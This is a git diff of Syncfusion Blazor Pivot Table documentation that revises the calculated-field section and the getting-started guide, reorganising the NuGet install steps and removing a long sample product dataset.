-- **Using code:** Set up calculated fields through the [PivotViewCalculatedFieldSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.PivotView.PivotViewCalculatedFieldSetting.html) class when configuring the Pivot Table.
-- **Using the user interface:** Alternatively, calculated fields can be added at runtime through a built-in dialog by setting the [AllowCalculatedField](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.PivotView.SfPivotView-1.html#Syncfusion_Blazor_PivotView_SfPivotView_1_AllowCalculatedField) property in the [SfPivotView](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.PivotView.SfPivotView-1.html) class to **true**. When enabled, a button appears in the Field List UI automatically to open a dialog that allows users to create, edit, or remove calculated fields at runtime. To learn more about calculated fields, [refer](./calculated-field) here.
-
-N> By default, the calculated fields created through code-behind are only added to the field list and calculated field dialog UI. To display the calculated field in the Pivot Table UI, it must be added to the [PivotViewValues](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.PivotView.PivotViewValue.html) class, as shown in the code below. Additionally, calculated fields can only be added to the value axis.
-
-Below is a sample code that shows how to set up calculated fields both through code-behind and using the popup dialog:
-
-{% tabs %}
-{% highlight razor tabtitle="Home.razor" %}
-
-@using Syncfusion.Blazor.PivotView
-
-<SfPivotView TValue="ProductDetails" ShowFieldList="true" AllowCalculatedField="true" Height="300">
-    <PivotViewDataSourceSettings DataSource="@dataSource">
-        <PivotViewColumns>
-            <PivotViewColumn Name="Year"></PivotViewColumn>
-            <PivotViewColumn Name="Quarter"></PivotViewColumn>
-        </PivotViewColumns>
-        <PivotViewRows>
-            <PivotViewRow Name="Country"></PivotViewRow>
-            <PivotViewRow Name="Products"></PivotViewRow>
-        </PivotViewRows>
-        <PivotViewValues>
-            <PivotViewValue Name="Sold" Caption="Unit Sold"></PivotViewValue>
-            <PivotViewValue Name="Amount" Caption="Sold Amount"></PivotViewValue>
-            <PivotViewValue Name="Total" Caption="Total Amount"></PivotViewValue>
-        </PivotViewValues>
-        <PivotViewFormatSettings>
-            <PivotViewFormatSetting Name="Amount" Format="C"></PivotViewFormatSetting>
-            <PivotViewFormatSetting Name="Total" Format="C"></PivotViewFormatSetting>
-        </PivotViewFormatSettings>
-        <PivotViewCalculatedFieldSettings>
-            <PivotViewCalculatedFieldSetting Name="Total" Formula="@totalPrice"></PivotViewCalculatedFieldSetting>
-        </PivotViewCalculatedFieldSettings>
-    </PivotViewDataSourceSettings>
-</SfPivotView>
-
-@code{
-    public string totalPrice = "\"" + "Sum(Amount)" + "\"" + "+" + "\"" + "Sum(Sold)" + "\"";
-    public List<ProductDetails> dataSource { get; set; }
-    protected override void OnInitialized()
-    {
-        this.dataSource = ProductDetails.GetProductData().ToList();
-        //Bind the data source collection here. Refer "Assigning sample data to the pivot table" (https://blazor.syncfusion.com/documentation/pivot-table/getting-started#assigning-sample-data-to-the-blazor-pivot-table) section for more details.
-    }
-}
-
-{% endhighlight %}
-{% endtabs %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/LDhSNEZeilHoDpvq?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor PivotTable with Formatting](images/blazor-pivottable-formatting.webp)" %}
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/LXBoXENSVskAdvwR?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor PivotTable with Caluclation Button](images/blazor-pivottable-calculate-button.webp)" %}
+* Press <kbd>Ctrl</kbd>+<kbd>F5</kbd> (Windows) or <kbd>⌘</kbd>+<kbd>F5</kbd> (macOS) to launch the application. This will render the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Pivot Table component in the default web browser.
 
 ## Handling exceptions
 
diff --git a/blazor/pivot-table/getting-started.md b/blazor/pivot-table/getting-started.md
index 0c5b0a6631..c519ba7725 100644
--- a/blazor/pivot-table/getting-started.md
+++ b/blazor/pivot-table/getting-started.md
@@ -14,12 +14,10 @@ documentation: ug
 
 # Getting Started with Blazor Pivot Table Component in WebAssembly App
 
-This guide explains how to add the [Blazor Pivot Table](https://www.syncfusion.com/blazor-components/blazor-pivot-table) component in a Blazor WebAssembly App using [Visual Studio](https://visualstudio.microsoft.com/vs/), [Visual Studio Code](https://code.visualstudio.com/), and the [.NET CLI](https://learn.microsoft.com/en-us/dotnet/core/tools/). Follow these steps to set up and configure the component for your project.
+This guide briefly explains about how to include [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Pivot Table](https://www.syncfusion.com/blazor-components/blazor-pivot-table) component in a Blazor WebAssembly App using [Visual Studio](https://visualstudio.microsoft.com/vs/), [Visual Studio Code](https://code.visualstudio.com/), and the [.NET CLI](https://learn.microsoft.com/en-us/dotnet/core/tools/). Follow these steps to set up and configure the component for your project.
 
 > **Ready to streamline your Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor development?** <br/>Discover the full potential of Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components with Syncfusion<sup style="font-size:70%">&reg;</sup> AI Coding Assistants. Effortlessly integrate, configure, and enhance your projects with intelligent, context-aware code suggestions, streamlined setups, and real-time insights—all seamlessly integrated into your preferred AI-powered IDEs like VS Code, Cursor, Syncfusion<sup style="font-size:70%">&reg;</sup> CodeStudio and more. [Explore Syncfusion<sup style="font-size:70%">&reg;</sup> AI Coding Assistants](https://blazor.syncfusion.com/documentation/ai-coding-assistant/overview).
 
-For a quick start with the Blazor Pivot Table component, explore this [GitHub sample](https://github.com/SyncfusionExamples/Blazor-Getting-Started-Examples/tree/main/PivotTable).
-
 {% tabcontents %}
 
 {% tabcontent Visual Studio %}
@@ -28,68 +26,35 @@ For a quick start with the Blazor Pivot Table component, explore this [GitHub sa
 
 * [System requirements for Blazor components](https://blazor.syncfusion.com/documentation/system-requirements)
 
-## Create a new Blazor WebAssembly App in Visual Studio
+## Create a new Blazor App in Visual Studio
 
 Create a **Blazor WebAssembly App** using Visual Studio via [Microsoft Templates](https://learn.microsoft.com/en-us/aspnet/core/blazor/tooling?view=aspnetcore-10.0&pivots=vs) or the [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-integration/template-studio). For detailed instructions, refer to the [Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app) documentation.
 
-![Blazor WASM Create Project Template](images/blazor-wasm-app-template.webp)
-
-## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Pivot Table and Themes NuGet packages
-
-To add the **Blazor Pivot Table** component, open the NuGet package manager in Visual Studio (*Tools → NuGet Package Manager → Manage NuGet Packages for Solution*). then Search and install [Syncfusion.Blazor.PivotTable](https://www.nuget.org/packages/Syncfusion.Blazor.PivotTable) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes). Alternatively, run the following commands in the Package Manager Console to achieve the same.
-
-{% tabs %}
-{% highlight C# tabtitle="Package Manager" %}
-
-Install-Package Syncfusion.Blazor.PivotTable -Version {{ site.releaseversion }}
-Install-Package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
-
-{% endhighlight %}
-{% endtabs %}
-
-N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are available in [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). Refer to the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for the available NuGet packages list with component details.
-
 {% endtabcontent %}
 
 {% tabcontent Visual Studio Code %}
 
 ## Prerequisites
 
-- Ensure your system meets the [requirements for Blazor components](https://blazor.syncfusion.com/documentation/system-requirements).
+* [System requirements for Blazor components](https://blazor.syncfusion.com/documentation/system-requirements)
 
-## Create a new Blazor WebAssembly App in Visual Studio Code
+## Create a new Blazor App in Visual Studio Code
 
 Create a **Blazor WebAssembly App** using Visual Studio Code via [Microsoft Templates](https://learn.microsoft.com/en-us/aspnet/core/blazor/tooling?view=aspnetcore-10.0&pivots=vsc) or the [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-code-integration/create-project). For detailed instructions, refer to the [Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app?tabcontent=visual-studio-code) documentation.
 
-Alternatively, create a WebAssembly application by using the following command in the integrated terminal(<kbd>Ctrl</kbd>+<kbd>`</kbd>).
+Alternatively, create a WebAssembly application by using the following command in the integrated terminal (<kbd>Ctrl</kbd>+<kbd>`</kbd>).
 
 {% tabs %}
+
 {% highlight c# tabtitle="Blazor WASM App" %}
 
 dotnet new blazorwasm -o BlazorApp
 cd BlazorApp
 
 {% endhighlight %}
-{% endtabs %}
 
-## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Pivot Table and Themes NuGet packages
-
-1. Open the integrated terminal in Visual Studio Code with <kbd>Ctrl</kbd>+<kbd>`</kbd>.
-2. * Ensure in the project root directory where the `.csproj` file is located.
-3. Run the following commands to install the [Syncfusion.Blazor.PivotTable](https://www.nuget.org/packages/Syncfusion.Blazor.PivotTable) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes) NuGet packages and ensure all dependencies are installed.
-
-{% tabs %}
-{% highlight c# tabtitle="Package Manager" %}
-
-dotnet add package Syncfusion.Blazor.PivotTable -v {{ site.releaseversion }}
-dotnet add package Syncfusion.Blazor.Themes -v {{ site.releaseversion }}
-dotnet restore
-
-{% endhighlight %}
 {% endtabs %}
 
-N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are available in [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). Refer to the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for the available NuGet packages list with component details.
-
 {% endtabcontent %}
 
 {% tabcontent .NET CLI %}
@@ -108,7 +73,7 @@ dotnet --version
 
 ## Create a Blazor WebAssembly App using .NET CLI
 
-Run the following command to create a new Blazor WebAssembly App in a command prompt (Windows) or terminal (macOS) or command shell (Linux). For detailed instructions, refer to [this Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app?tabcontent=.net-cli) documentation.
+Run the following command to create a new Blazor WebAssembly App in a command prompt (Windows) or terminal (macOS) or command shell (Linux). For detailed instructions, refer to the [Blazor WASM App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-webassembly-app?tabcontent=.net-cli) documentation.
 
 {% tabs %}
 {% highlight c# tabtitle=".NET CLI" %}
@@ -119,32 +84,44 @@ cd BlazorApp
 {% endhighlight %}
 {% endtabs %}
 
-## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Pivot Table and Themes NuGet packages
+{% endtabcontent %}
+
+{% endtabcontents %}
+
+## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor packages
+
+Install [Syncfusion.Blazor.PivotTable](https://www.nuget.org/packages/Syncfusion.Blazor.PivotTable/) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages using the NuGet Package Manager in Visual Studio (*Tools → NuGet Package Manager → Manage NuGet Packages for Solution*).
 
-To add the **Blazor OTP Input** component to the application, run the following commands in a command prompt (Windows), command shell (Linux), or terminal (macOS) to install the [Syncfusion.Blazor.PivotTable](https://www.nuget.org/packages/Syncfusion.Blazor.PivotTable) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes) NuGet packages. See [Install and manage packages using the dotnet CLI](https://learn.microsoft.com/en-us/nuget/consume-packages/install-use-packages-dotnet-cli) for more details.
+The packages can also be installed using the integrated terminal in Visual Studio Code or the .NET CLI. Run the following commands in the integrated terminal (<kbd>Ctrl</kbd>+<kbd>`</kbd>) or command line:
 
 {% tabs %}
 {% highlight c# tabtitle=".NET CLI" %}
 
-dotnet add package Syncfusion.Blazor.PivotTable -Version {{ site.releaseversion }}
-dotnet add package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
-dotnet restore
+dotnet add package Syncfusion.Blazor.PivotTable --version {{ site.releaseversion }}
+dotnet add package Syncfusion.Blazor.Themes --version {{ site.releaseversion }}
 
 {% endhighlight %}
 {% endtabs %}
 
-N> Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor components are available in [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). Refer to the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for the available NuGet packages list with component details.
+To install via Package Manager Console, run the following commands:
 
-{% endtabcontent %}
+{% tabs %}
+{% highlight C# tabtitle="Package Manager" %}
 
-{% endtabcontents %}
+Install-Package Syncfusion.Blazor.PivotTable -Version {{ site.releaseversion }}
+Install-Package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
+
+{% endhighlight %}
+{% endtabs %}
+
+N> All Syncfusion Blazor packages are available on [nuget.org](https://www.nuget.org/packages?q=syncfusion.blazor). See the [NuGet packages](https://blazor.syncfusion.com/documentation/nuget-packages) topic for details.
 
 ## Add import namespaces
 
-Open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncfusion.Blazor.PivotView` namespaces.
+After the packages are installed, open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncfusion.Blazor.PivotView` namespaces.
 
 {% tabs %}
-{% highlight razor tabtitle="~/_Imports.razor" %}
+{% highlight C# tabtitle="~/_Imports.razor" %}
 
 @using Syncfusion.Blazor
 @using Syncfusion.Blazor.PivotView
@@ -154,23 +131,15 @@ Open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncf
 
 ## Register Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service
 
-Register the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Service in the **~/Program.cs** file of the Blazor WebAssembly App.
+Register the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service in the **Program.cs** file of your Blazor WebAssembly App.
 
 {% tabs %}
-{% highlight C# tabtitle="~/Program.cs" hl_lines="3 11" %}
+{% highlight C# tabtitle="Program.cs" %}
 
-using Microsoft.AspNetCore.Components.Web;
-using Microsoft.AspNetCore.Components.WebAssembly.Hosting;
+....
 using Syncfusion.Blazor;
-
-var builder = WebAssemblyHostBuilder.CreateDefault(args);
-builder.RootComponents.Add<App>("#app");
-builder.RootComponents.Add<HeadOutlet>("head::after");
-
-builder.Services.AddScoped(sp => new HttpClient { BaseAddress = new Uri(builder.HostEnvironment.BaseAddress) });
-
+....
 builder.Services.AddSyncfusionBlazor();
-await builder.Build().RunAsync();
 ....
 
 {% endhighlight %}
@@ -178,270 +147,31 @@ await builder.Build().RunAsync();
 
 ## Add stylesheet and script resources
 
-The theme stylesheet and script can be accessed from NuGet through [Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets). Include the stylesheet and script references within the `<head>` section of the **~wwwroot/index.html** file.
+The theme stylesheet and script can be accessed from NuGet through [Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets). Include the stylesheet and script references in the **~/index.html** file.
 
 ```html
-<head>
-    ....
-    <link href="_content/Syncfusion.Blazor.Themes/bootstrap5.css" rel="stylesheet" />
-    <script src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js" type="text/javascript"></script>
-
-    //Blazor PivotTable Component script reference.
-    <!-- <script src="_content/Syncfusion.Blazor.PivotTable/scripts/sf-pivotview.min.js" type="text/javascript"></script> -->
-</head>
-```
-
-N> Check out the [Blazor Themes](https://blazor.syncfusion.com/documentation/appearance/themes) topic to discover various methods ([Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets), [CDN](https://blazor.syncfusion.com/documentation/appearance/themes#cdn-reference), and [CRG](https://blazor.syncfusion.com/documentation/common/custom-resource-generator)) for referencing themes in Blazor application. Also, check out the [Adding Script Reference](https://blazor.syncfusion.com/documentation/common/adding-script-references) topic to learn different approaches for adding script references in Blazor application.
-
-## Initialize the Blazor Pivot Table component
-
-To display the Pivot Table, add the component to the **~/Pages/Home.razor** file. Use the [SfPivotView](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.PivotView.SfPivotView-1.html) component with the specified data type.
-
-{% tabs %}
-{% highlight razor %}
 
-<SfPivotView TValue="ProductDetails"></SfPivotView>
-
-{% endhighlight %}
-{% endtabs %}
-
-## Assigning sample data to the Blazor Pivot Table
-
-To enable users to perform meaningful analysis and generate actionable insights, the Pivot Table component requires a well-structured data source. This data source contains the information you want to analyze and visualize.
-
-For demonstration purposes, a collection of objects containing sales details for various products across different periods and regions has been prepared. This sample data is assigned to the Pivot Table component through the [DataSource](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.PivotView.PivotViewDataSourceSettings-1.html#Syncfusion_Blazor_PivotView_PivotViewDataSourceSettings_1_DataSource) property under the [PivotViewDataSourceSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.PivotView.PivotViewDataSourceSettings-1.html) class.
-
-{% tabs %}
-{% highlight razor %}
-
-@page "/"
-
-<SfPivotView TValue="ProductDetails">
-     <PivotViewDataSourceSettings DataSource="@dataSource">
-    </PivotViewDataSourceSettings>
-</SfPivotView>
-
-@code{
-    public List<ProductDetails> dataSource { get; set; }
-    protected override void OnInitialized()
-    {
-        this.dataSource = ProductDetails.GetProductData().ToList();
-    }
-
-    public class ProductDetails
-    {
-        public int Sold { get; set; }
-        public double Amount { get; set; }
-        public string Country { get; set; }
-        public string Products { get; set; }
-        public string Year { get; set; }
-        public string Quarter { get; set; }
-
-        public static List<ProductDetails> GetProductData()
-        {
-            List<ProductDetails> productData = new List<ProductDetails>();
-            productData.Add(new ProductDetails { Sold = 31, Amount = 52824, Country = "France", Products = "Mountain Bikes", Year = "FY 2022", Quarter = "Q1" });
-            productData.Add(new ProductDetails { Sold = 51, Amount = 86904, Country = "France", Products = "Mountain Bikes", Year = "FY 2022", Quarter = "Q2" });
-            productData.Add(new ProductDetails { Sold = 90, Amount = 153360, Country = "France", Products = "Mountain Bikes", Year = "FY 2022", Quarter = "Q3" });
-            productData.Add(new ProductDetails { Sold = 25, Amount = 42600, Country = "France", Products = "Mountain Bikes", Year = "FY 2022", Quarter = "Q4" });
-            productData.Add(new ProductDetails { Sold = 27, Amount = 46008, Country = "France", Products = "Mountain Bikes", Year = "FY 2023", Quarter = "Q1" });
-            productData.Add(new ProductDetails { Sold = 49, Amount = 83496, Country = "France", Products = "Mountain Bikes", Year = "FY 2023", Quarter = "Q2" });
-            productData.Add(new ProductDetails { Sold = 95, Amount = 161880, Country = "France", Products = "Mountain Bikes", Year = "FY 2023", Quarter = "Q3" });
-            productData.Add(new ProductDetails { Sold = 67, Amount = 114168, Country = "France", Products = "Mountain Bikes", Year = "FY 2023", Quarter = "Q4" });
-            productData.Add(new ProductDetails { Sold = 75, Amount = 127800, Country = "France", Products = "Mountain Bikes", Year = "FY 2024", Quarter = "Q1" });
-            productData.Add(new ProductDetails { Sold = 67, Amount = 114168, Country = "France", Products = "Mountain Bikes", Year = "FY 2024", Quarter = "Q2" });
-            productData.Add(new ProductDetails { Sold = 69, Amount = 117576, Country = "France", Products = "Mountain Bikes", Year = "FY 2024", Quarter = "Q3" });
-            productData.Add(new ProductDetails { Sold = 90, Amount = 153360, Country = "France", Products = "Mountain Bikes", Year = "FY 2024", Quarter = "Q4" });
-            productData.Add(new ProductDetails { Sold = 16, Amount = 27264, Country = "France", Products = "Mountain Bikes", Year = "FY 2025", Quarter = "Q1" });
-            productData.Add(new ProductDetails { Sold = 83, Amount = 124422, Country = "France", Products = "Road Bikes", Year = "FY 2022", Quarter = "Q1" });
-            productData.Add(new ProductDetails { Sold = 57, Amount = 85448, Country = "France", Products = "Road Bikes", Year = "FY 2022", Quarter = "Q2" });
-            productData.Add(new ProductDetails { Sold = 20, Amount = 29985, Country = "France", Products = "Road Bikes", Year = "FY 2022", Quarter = "Q3" });
-            productData.Add(new ProductDetails { Sold = 67, Amount = 70008, Country = "France", Products = "Road Bikes", Year = "FY 2023", Quarter = "Q1" });
-            productData.Add(new ProductDetails { Sold = 89, Amount = 60496, Country = "France", Products = "Road Bikes", Year = "FY 2023", Quarter = "Q2" });
-            productData.Add(new ProductDetails { Sold = 75, Amount = 801880, Country = "France", Products = "Road Bikes", Year = "FY 2023", Quarter = "Q3" });
-            productData.Add(new ProductDetails { Sold = 57, Amount = 204168, Country = "France", Products = "Road Bikes", Year = "FY 2023", Quarter = "Q4" });
-            productData.Add(new ProductDetails { Sold = 75, Amount = 737800, Country = "France", Products = "Road Bikes", Year = "FY 2024", Quarter = "Q1" });
-            productData.Add(new ProductDetails { Sold = 87, Amount = 884168, Country = "France", Products = "Road Bikes", Year = "FY 2024", Quarter = "Q2" });
-            productData.Add(new ProductDetails { Sold = 39, Amount = 729576, Country = "France", Products = "Road Bikes", Year = "FY 2024", Quarter = "Q3" });
-            productData.Add(new ProductDetails { Sold = 90, Amount = 38860, Country = "France", Products = "Road Bikes", Year = "FY 2024", Quarter = "Q4" });
-            productData.Add(new ProductDetails { Sold = 93, Amount = 139412, Country = "France", Products = "Road Bikes", Year = "FY 2022", Quarter = "Q4" });
-            productData.Add(new ProductDetails { Sold = 51, Amount = 92824, Country = "Germany", Products = "Mountain Bikes", Year = "FY 2022", Quarter = "Q1" });
-            productData.Add(new ProductDetails { Sold = 61, Amount = 76904, Country = "Germany", Products = "Mountain Bikes", Year = "FY 2022", Quarter = "Q2" });
-            productData.Add(new ProductDetails { Sold = 70, Amount = 43360, Country = "Germany", Products = "Mountain Bikes", Year = "FY 2022", Quarter = "Q3" });
-            productData.Add(new ProductDetails { Sold = 85, Amount = 62600, Country = "Germany", Products = "Mountain Bikes", Year = "FY 2022", Quarter = "Q4" });
-            productData.Add(new ProductDetails { Sold = 97, Amount = 86008, Country = "Germany", Products = "Mountain Bikes", Year = "FY 2023", Quarter = "Q1" });
-            productData.Add(new ProductDetails { Sold = 69, Amount = 93496, Country = "Germany", Products = "Mountain Bikes", Year = "FY 2023", Quarter = "Q2" });
-            productData.Add(new ProductDetails { Sold = 45, Amount = 301880, Country = "Germany", Products = "Mountain Bikes", Year = "FY 2023", Quarter = "Q3" });
-            productData.Add(new ProductDetails { Sold = 77, Amount = 404168, Country = "Germany", Products = "Mountain Bikes", Year = "FY 2023", Quarter = "Q4" });
-            productData.Add(new ProductDetails { Sold = 15, Amount = 137800, Country = "Germany", Products = "Mountain Bikes", Year = "FY 2024", Quarter = "Q1" });
-            productData.Add(new ProductDetails { Sold = 37, Amount = 184168, Country = "Germany", Products = "Mountain Bikes", Year = "FY 2024", Quarter = "Q2" });
-            productData.Add(new ProductDetails { Sold = 49, Amount = 89576, Country = "Germany", Products = "Mountain Bikes", Year = "FY 2024", Quarter = "Q3" });
-            productData.Add(new ProductDetails { Sold = 40, Amount = 33360, Country = "Germany", Products = "Mountain Bikes", Year = "FY 2024", Quarter = "Q4" });
-            productData.Add(new ProductDetails { Sold = 96, Amount = 77264, Country = "Germany", Products = "Mountain Bikes", Year = "FY 2025", Quarter = "Q1" });
-            productData.Add(new ProductDetails { Sold = 23, Amount = 24422, Country = "Germany", Products = "Road Bikes", Year = "FY 2022", Quarter = "Q1" });
-            productData.Add(new ProductDetails { Sold = 67, Amount = 75448, Country = "Germany", Products = "Road Bikes", Year = "FY 2022", Quarter = "Q2" });
-            productData.Add(new ProductDetails { Sold = 70, Amount = 52345, Country = "Germany", Products = "Road Bikes", Year = "FY 2022", Quarter = "Q3" });
-            productData.Add(new ProductDetails { Sold = 13, Amount = 135612, Country = "Germany", Products = "Road Bikes", Year = "FY 2022", Quarter = "Q4" });
-            productData.Add(new ProductDetails { Sold = 57, Amount = 90008, Country = "Germany", Products = "Road Bikes", Year = "FY 2023", Quarter = "Q1" });
-            productData.Add(new ProductDetails { Sold = 29, Amount = 90496, Country = "Germany", Products = "Road Bikes", Year = "FY 2023", Quarter = "Q2" });
-            productData.Add(new ProductDetails { Sold = 45, Amount = 301880, Country = "Germany", Products = "Road Bikes", Year = "FY 2023", Quarter = "Q3" });
-            productData.Add(new ProductDetails { Sold = 77, Amount = 404168, Country = "Germany", Products = "Road Bikes", Year = "FY 2023", Quarter = "Q4" });
-            productData.Add(new ProductDetails { Sold = 15, Amount = 137800, Country = "Germany", Products = "Road Bikes", Year = "FY 2024", Quarter = "Q1" });
-            productData.Add(new ProductDetails { Sold = 37, Amount = 184168, Country = "Germany", Products = "Road Bikes", Year = "FY 2024", Quarter = "Q2" });
-            productData.Add(new ProductDetails { Sold = 99, Amount = 829576, Country = "Germany", Products = "Road Bikes", Year = "FY 2024", Quarter = "Q3" });
-            productData.Add(new ProductDetails { Sold = 80, Amount = 38360, Country = "Germany", Products = "Road Bikes", Year = "FY 2024", Quarter = "Q4" });
-            productData.Add(new ProductDetails { Sold = 91, Amount = 67824, Country = "United States", Products = "Mountain Bikes", Year = "FY 2022", Quarter = "Q1" });
-            productData.Add(new ProductDetails { Sold = 81, Amount = 99904, Country = "United States", Products = "Mountain Bikes", Year = "FY 2022", Quarter = "Q2" });
-            productData.Add(new ProductDetails { Sold = 70, Amount = 49360, Country = "United States", Products = "Mountain Bikes", Year = "FY 2022", Quarter = "Q3" });
-            productData.Add(new ProductDetails { Sold = 65, Amount = 69600, Country = "United States", Products = "Mountain Bikes", Year = "FY 2022", Quarter = "Q4" });
-            productData.Add(new ProductDetails { Sold = 57, Amount = 90008, Country = "United States", Products = "Mountain Bikes", Year = "FY 2023", Quarter = "Q1" });
-            productData.Add(new ProductDetails { Sold = 29, Amount = 90496, Country = "United States", Products = "Mountain Bikes", Year = "FY 2023", Quarter = "Q2" });
-            productData.Add(new ProductDetails { Sold = 85, Amount = 391880, Country = "United States", Products = "Mountain Bikes", Year = "FY 2023", Quarter = "Q3" });
-            productData.Add(new ProductDetails { Sold = 97, Amount = 904168, Country = "United States", Products = "Mountain Bikes", Year = "FY 2023", Quarter = "Q4" });
-            productData.Add(new ProductDetails { Sold = 85, Amount = 237800, Country = "United States", Products = "Mountain Bikes", Year = "FY 2024", Quarter = "Q1" });
-            productData.Add(new ProductDetails { Sold = 77, Amount = 384168, Country = "United States", Products = "Mountain Bikes", Year = "FY 2024", Quarter = "Q2" });
-            productData.Add(new ProductDetails { Sold = 99, Amount = 829576, Country = "United States", Products = "Mountain Bikes", Year = "FY 2024", Quarter = "Q3" });
-            productData.Add(new ProductDetails { Sold = 80, Amount = 38360, Country = "United States", Products = "Mountain Bikes", Year = "FY 2024", Quarter = "Q4" });
-            productData.Add(new ProductDetails { Sold = 76, Amount = 97264, Country = "United States", Products = "Mountain Bikes", Year = "FY 2025", Quarter = "Q1" });
-            productData.Add(new ProductDetails { Sold = 53, Amount = 94422, Country = "United States", Products = "Road Bikes", Year = "FY 2022", Quarter = "Q1" });
-            productData.Add(new ProductDetails { Sold = 90, Amount = 45448, Country = "United States", Products = "Road Bikes", Year = "FY 2022", Quarter = "Q2" });
-            productData.Add(new ProductDetails { Sold = 29, Amount = 92345, Country = "United States", Products = "Road Bikes", Year = "FY 2022", Quarter = "Q3" });
-            productData.Add(new ProductDetails { Sold = 67, Amount = 235612, Country = "United States", Products = "Road Bikes", Year = "FY 2022", Quarter = "Q4" });
-            productData.Add(new ProductDetails { Sold = 97, Amount = 90008, Country = "United States", Products = "Road Bikes", Year = "FY 2023", Quarter = "Q1" });
-            productData.Add(new ProductDetails { Sold = 79, Amount = 90496, Country = "United States", Products = "Road Bikes", Year = "FY 2023", Quarter = "Q2" });
-            productData.Add(new ProductDetails { Sold = 95, Amount = 501880, Country = "United States", Products = "Road Bikes", Year = "FY 2023", Quarter = "Q3" });
-            productData.Add(new ProductDetails { Sold = 97, Amount = 104168, Country = "United States", Products = "Road Bikes", Year = "FY 2023", Quarter = "Q4" });
-            productData.Add(new ProductDetails { Sold = 95, Amount = 837800, Country = "United States", Products = "Road Bikes", Year = "FY 2024", Quarter = "Q1" });
-            productData.Add(new ProductDetails { Sold = 87, Amount = 684168, Country = "United States", Products = "Road Bikes", Year = "FY 2024", Quarter = "Q2" });
-            productData.Add(new ProductDetails { Sold = 109, Amount = 29576, Country = "United States", Products = "Road Bikes", Year = "FY 2024", Quarter = "Q3" });
-            productData.Add(new ProductDetails { Sold = 99, Amount = 345860, Country = "United States", Products = "Road Bikes", Year = "FY 2024", Quarter = "Q4" });
-            return productData;
-        }
-    }
-}
-
-{% endhighlight %}
-{% endtabs %}
-
-## Adding fields to row, column, value, and filter axes
-
-Organizing fields into appropriate axes transforms raw data into a structured, meaningful Pivot Table that enables users to analyze patterns and trends effectively. With the Pivot Table now initialized and populated with sample data, the next logical step involves organizing the appropriate fields into row, column, value, and filter axes to create a functional data analysis tool.
-
-In the [PivotViewDataSourceSettings](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.PivotView.PivotViewDataSourceSettings-1.html) class, four primary axes play a crucial role in defining and organizing fields from the bound data source to render the Pivot Table component in the desired format.
-
-**Understanding the four axes:**
-
-- [PivotViewRows](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.PivotView.PivotViewRow.html) – Collection of fields that will be displayed along the row axis of the Pivot Table.
-- [PivotViewColumns](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.PivotView.PivotViewColumn.html) – Collection of fields that will be displayed along the column axis of the Pivot Table.
-- [PivotViewValues](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.PivotView.PivotViewValue.html) – Collection of fields that will be displayed as aggregated numeric values within the Pivot Table.
-- [PivotViewFilters](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.PivotView.PivotViewFilter.html) – Collection of fields that act as master filters over the data bound to the row, column, and value axes of the Pivot Table.
-
-**Essential field properties:**
-
-To define each field in its respective axis, configure the following basic properties:
-
